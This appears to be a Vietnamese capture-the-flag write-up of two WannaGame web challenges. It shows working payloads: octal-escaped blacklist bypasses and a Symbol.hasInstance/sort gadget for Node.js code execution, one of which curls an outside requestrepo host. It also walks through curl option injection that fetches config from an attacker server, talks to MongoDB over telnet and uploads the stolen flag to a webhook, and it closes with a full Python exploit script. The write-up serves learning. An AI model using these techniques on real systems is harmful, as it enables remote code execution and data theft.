WannaGame
WannaGame vừa mới kết thúc, mình xin viết lại một số bài mà mình làm được, giải này mình khá may mắn khi giải được 2 bài và mình cũng học được rất nhiều thứ từ giải này.
newchall
1
2
3
4
5
This is a simple calc program,let's try /exec?q=9*10.
Author: dcthinh
http://45.122.249.68:20011
Bài này cho một trang web có chức năng như trên và mình đoán khá là chắc rằng tất cả những gì mình nhập vào sẽ được đưa vào eval nên chúng ta cứ thử một số payload đơn giản vào trước.
1
require("child_process").spawnSync('ls').output.toString()
Và có vẻ như là bị chặn, mình nghĩ là có thể chặn một số từ khóa như require
hoặc child_process
nên mình sẽ thử một số payload khác
Payload 1:
1
global.process.mainModule.require('child_process').execSync('ls').toString()
Tất nhiên cái này sẽ bị chặn vì có từ khóa require
nên mình sẽ tìm cách để bypass cái này. Chúng ta có thể gọi require như sau
1
global.process.mainModule["require"]
Ta có thể đổi require
thành requir\145
(\145 là mã octal của e) vì trong quá trình thực thi requir\145
sẽ được chuyển thành require
và chúng ta có thể lợi dụng cái này để bypass filters
Payload cuối cùng
1
global.process.mainModule["requir\145"]('chil\144_proces\163')["spaw\156Sy\156c"]('cat',['flag.txt']).output.toString();
Và mình có được flag
Sau khi dump ra được source thì đây là các chuỗi bị chặn
1
blacklist = ['system', 'child_process', 'exec', 'spawn', 'eval', 'require'];
Payload 2:
Note: Cách này mình đã đọc được từ writeup của các giải amstrong2024 và TSG2023 và tham khảo của anh shin24 link mình sẽ đính kèm bên dưới
1
2
3
4
5
6
7
toString.constructor.prototype.toString=toString.constructor.prototype.call;
var a=["process.mainModule.require('child_process').execSync('curl http://yh9wz5br.requestrepo.com')"];
a[1]="x";
b={};
b[Symbol.hasInstance]=a.sort;
b["__proto__"]=a;
toString.constructor instanceof b;
Giải thích sơ qua về payload này
Đầu tiên chúng ta sẽ gọi đến function
toString
và gán giá trị của functioncall
cho nóTiếp theo ta tạo một mảng a với giá trị đầu tiên là payload mà ta muốn execute (payload này sẽ được thực thi trong anonymous function)
Tiếp theo ta gán giá trị
'x'
choa[1]
(sẽ giải thích ở bên dưới vì sao có phần này)Sau đó tạo một object b với key là
Symbol.hasInstance
và value làa.sort
Sau đó set
__proto__
của b là aCuối cùng là kiểm tra xem toString.constructor có phải là instance của b (thật ra đoạn này không hẳn là kiểm tra mà là điều kiện để RCE)
Trước khi đi vào phần phân tích sâu hơn, mình sẽ giải thích về cách của instanceof hoạt động
Syntax
1
object instanceof constructor
Toán tử instanceof
là toán tử dùng để kiểm tra xem một đối tượng có thuộc lớp nào đó hay không
Ví dụ đơn giản như sau
1
2
3
4
class BOX {}
let DI = new BOX();
console.log(DI instanceof BOX); //true
Ngoài ra nếu constructor
(phần bên phải của instanceof
) có phương thức Symbol.hasInstance
thì nó sẽ được ưu tiên gọi, với object
(phần bên trái của instanceof
) là tham số truyền vào còn bên phải là this
sau đó dùng kết quả để trả về kết quả của instanceof
Ví dụ 1:
1
2
3
4
5
6
7
8
9
BOX = {[Symbol.hasInstance]: (dib) => {
// console.log(dib)
return dib === 'dib'
}};
DI = 'dib'
console.log(DI instanceof BOX); //true
Ví dụ 2:
1
2
3
4
5
6
7
8
9
10
a = ['1','0']
a.__proto__['loG'] = function(a) {
console.log("triggered")
}
BOX = {[Symbol.hasInstance]: a.loG};
DI = Function
console.log(DI instanceof BOX); // "triggered"
// console.log(a)
Đến phần chính, đi sâu vào giải thích vì sao nó hoạt động
1
toString.constructor instanceof b;
Khi câu lệnh này được thực thi thì:
Khi
instanceof
được sử dụng thì nó sẽ tìm kiếm xem b có thuộc tínhSymbol.hasInstance
không? Nếu có thì sẽ thực thi gọi tớia.sort
làthis
vàtoString.constructor
(AKAFunction
) là tham số truyền vàoKhi
a.sort
(function sort) được gọi đến thì bình thường thì nó sẽ cố gắng chuyển tất cả các phần tử trong mảng thành string bằng hàmtoString()
rồi so sánh bằngfunction
truyền vào. Điều này vô tình trigger hàmcall()
chúng ta đã đổi ở lúc đầu và bây giờ cảarray
sẽ trở thànhparameter
củanew Function
Nói thêm ở phần này về lý do phải set
b[__proto__]=a
là vìsort
làfunction
củaarray
nên chúng ta phải đổiprototype
của nó thànharray
thì sort mới có thể được thực thi và hơn hết khi đósort
sẽ được thực thi trênb
,b
lúc này là mộtobject
nênsort
sẽ cố gắng tìm kiếmarray
trongobject
này bằng cách tìm kiếm trongprototype
của nó khi đó nó sẽ tìm được 1array
trong vì ta setprototype
củab
làa
Giá trị return của
new Function
này sẽ là một anonymous vớia[0]
là function vàa[1]
là parameter
1
2
3
4
(function anonymous(x
) {
process.mainModule.require('child_process').execSync('curl http://yh9wz5br.requestrepo.com')
})
- Để nói thêm một chút nữa thì flow của chương trình sẽ như sau trigger
sort
->sort
nhậnFunction
làm tham số ->Function
là hàm được sử dụng để ‘so sánh’ các phần tử bên trong mảng -> Mỗi phần từ được chuyển qua string(triggercall
function) -> Trả về một anonymouse function -> Cuối cùng giá trị sau khi ‘so sánh’ sẽ được trả về dưới dạng string (triggercall
function)
Đây là code mô phỏng lại quá trình sort
1
2
3
toString.constructor.prototype.toString=Function.call;
Function(a[1].toString(),a[0].toString()).toString();
Từ đó ta RCE và lấy được flag
Flag: W1{hehehe}
P/S:
thật ra cách này đúng là “dùng dao mổ trâu để giết gà” vì cách này dùng cho những bài với filter chặt và bị hạn chế nhiều thứ. Do mình có sử dụng cách này khi thi nên tiện thể phân tích luôn cách này
CURR
1
2
3
4
5
6
Let explore my website!!!
Author: dcthinh
http://45.122.249.68:20014
Tóm tắt về source code của trang web này
App này có 3 route ,/ , /api/login và /api/curr và mình sẽ tập trung vào route /api/curr
Route này có chức năng là dùng lệnh curl với các options như là -d, …, và có một cái middleware là /api/login để kiểm tra login
Users và Flag được lưu trong mongoDB và đọc code một lúc thì không có cách nào để login hay bypass login cả
1
2
3
4
5
6
7
const crypto = require("crypto");
const app = db.getSiblingDB('app');
app.users.insertOne({ user: "admin", pass: crypto.randomBytes(64).toString("hex") });
const secret = db.getSiblingDB('secret');
secret.flag.insertOne({ flag: process.env.FLAG || "W1{REACTED}" });
Nhưng nhìn kỉ lại midleware thì mình thấy một điều khá là lạ
1
2
3
4
5
6
7
const requiresLogin = (req, res, next) => {
if (!req.session.user) {
res.redirect("/?error=login first");
}
next();
};
Vì sao lại có next();
ở dưới cùng của middleware này, mình nghĩ là có vẻ như là dù không có login nhưng vẫn có thể đi tới endpoint sau chăng ?
Và đúng là thế, nó sẽ chạy phần code phía sau nhưng mà chúng ta không thể thấy phần output thôi
Đến phần /api/curr
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
app.post("/api/curr", requiresLogin, (req, res) => {
let { url } = req.body;
if (!url || typeof url !== "string") {
return res.json({ success: false, message: "Invalid URL" });
}
try {
let parsed = new URL(url);
if (!["http:", "https:"].includes(parsed.protocol)) throw new Error("Invalid URL");
}
catch (e) {
return res.json({ success: false, message: e.message });
}
const args = [ url ];
let { opt, data } = req.body;
if (opt && data && typeof opt === "string" && typeof data === "string") {
if (!/^-[A-Za-z]$/.test(opt)) {
return res.json({ success: false, message: "Invalid option" });
}
// check method
if (opt === "-d" || ["GET", "POST"].includes(data)) {
args.push(opt, data);
}
}
cp.spawn('curl', args, { timeout: 2000, cwd: "/tmp" }).on('close', (code) => {
// save result to database
res.json({ success: true, message: `The site is ${code === 0 ? 'up' : 'down'}` });
});
});
Phần này sẽ lấy URL của chúng ta và kiểm tra nó sau đó kiểm tra phần opt
nếu nó qua được phần kiểm tra thì sẽ thực thi lệnh curr với các options mà ta thêm vào
Phần kiểm tra opt khá là chặt
. Đầu tiên kiểm tra xem opt có bắt đầu bằng - và sau đó 1 là 1 ký tự [a-zA-Z] không, tiếp sau đó kiểm tra opt một là -d
và là data hay là 1 option bất kỳ và có data là GET, hoặc là POST.
Và curl có hỗ trợ một options là -K (–config) option này giúp cho lệnh curl của chúng ta đọc từ một file text và sử dụng nó làm các options. Từ đó suy ra nếu mà có cách nào đó để chúng ta download file options của chúng ta về server và bắt server curl với options đó ta có thể curl tới bất kỳ URL nào
Để thử thì đây là options thử nghiệm
1
2
--url "http://XXXXXX.requestrepo.com"
user-agent = "yuu"
Ta có thể setup một python http server và expose bằng ngrok để và dùng curl để download file bằng cách sau
1
url =xxxxx.NGROK.com/options.txt&opt=-o&data=GET
Tiếp tục ta thử xem liệu nó có request đến server của mình với useragent là yuu không
1
url =xxxxxx.webhook.com&opt=-K&data=GET
Vậy là có thể gửi tới bất kỳ url nào với bất kỳ options nào mà ta muốn
Vậy với những thứ này thì làm sao lấy flag từ mongoDB đây? MongoDB giao tiếp thông qua MongoDB Wire Protocol. Người dùng có thể giao tiếp với database server thông qua TCP/IP. Vậy chúng ta có thể dùng gopher để và dùng curl để connect tới database server và lấy flag, nhưng tiếc là chúng ta không thể dùng gopher vì author đã set up như bên dưới
Nhưng mà vẫn có một số protocol khác như telnet khi mà chúng cũng giao tiếp bằng TCP
Vậy ta có thể gửi một binary file(TCP transfer - file này chứa một giao tiếp lấy flag) cho mongo database server để server trả cái flag về
Ta có thể bắt file này bằng cách tạo một file để giả lập việc lấy flag và sử dụng tcpdump để bắt gói tin đó
File js dùng để lấy flag
1
2
3
4
5
6
7
8
const { MongoClient } = require( "mongodb" );
const client = new MongoClient( "mongodb://mongodb:27017/" );
client.connect().then(async () => {
const flag = client.db( "secret" ).collection( "flag" );
var flag_1 = await flag.findOne()
console.log(flag_1);
client.close();
} );
Đây là nội dung lúc giao tiếp với server
Ta có thể tải nội dung TCP payload về, đây chính là quá trình mà server giao tiếp với database
Thử dùng file này để giao tiếp xem có được không
Nó có trả về flag vậy có nghĩa là chúng ta có thể dùng cách này
Vậy cuối cùng đây là cách làm
- Tải file options với nội dung bên dưới
url=http://NGROKSERVER.com/options.txt&opt=-o&data=GET
1
2
3
4
--max-time 1
--upload-file "POST"
--url "telnet://mongodb:27017"
-o "GET"
Tiếp theo tải file data tcp mà ta bắt được vào server
url=http://NGROKSERVER.com/test.data.dat&opt=-o&data=POST
Sau đó request đến một trang web bất kỳ với option là file GET(options mà ta lúc nãy gửi)
url=http://ABCXYZ.COM&opt=-K&data=GET
( lúc này là lúc mà chúng ta giao tiếp với database để lấy flag và lưu vào GET)Cuối cùng là upload file GET về server của ta
url=http://WEBHOOKSERVER.COM&opt=-T&data=GET
Payload tự động lấy flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import requests
import time
# URL = "http://localhost:8888"
URL = "http://45.122.249.68:20014"
data = {
"url": "https://NGROKSERVER/options.txt",
"opt": "-o",
"data": "GET"
}
r = requests.post(f"{URL}/api/curr", data=data)
time.sleep(1)
data = {
"url": "https://NGROKSERVER/test.data.dat",
"opt": "-o",
"data": "POST"
}
r = requests.post(f"{URL}/api/curr", data=data)
time.sleep(1)
data = {
"url": "http://ABCXYZ.COM",
"opt": "-K",
"data": "GET"
}
r = requests.post(f"{URL}/api/curr", data=data)
time.sleep(5)
data = {
"url": "http://WEBHOOKSERVER.COM",
"opt": "-T",
"data": "GET"
}
r = requests.post(f"{URL}/api/curr", data=data)
Flag: W1{nice_try_without_gopher}
Kết bài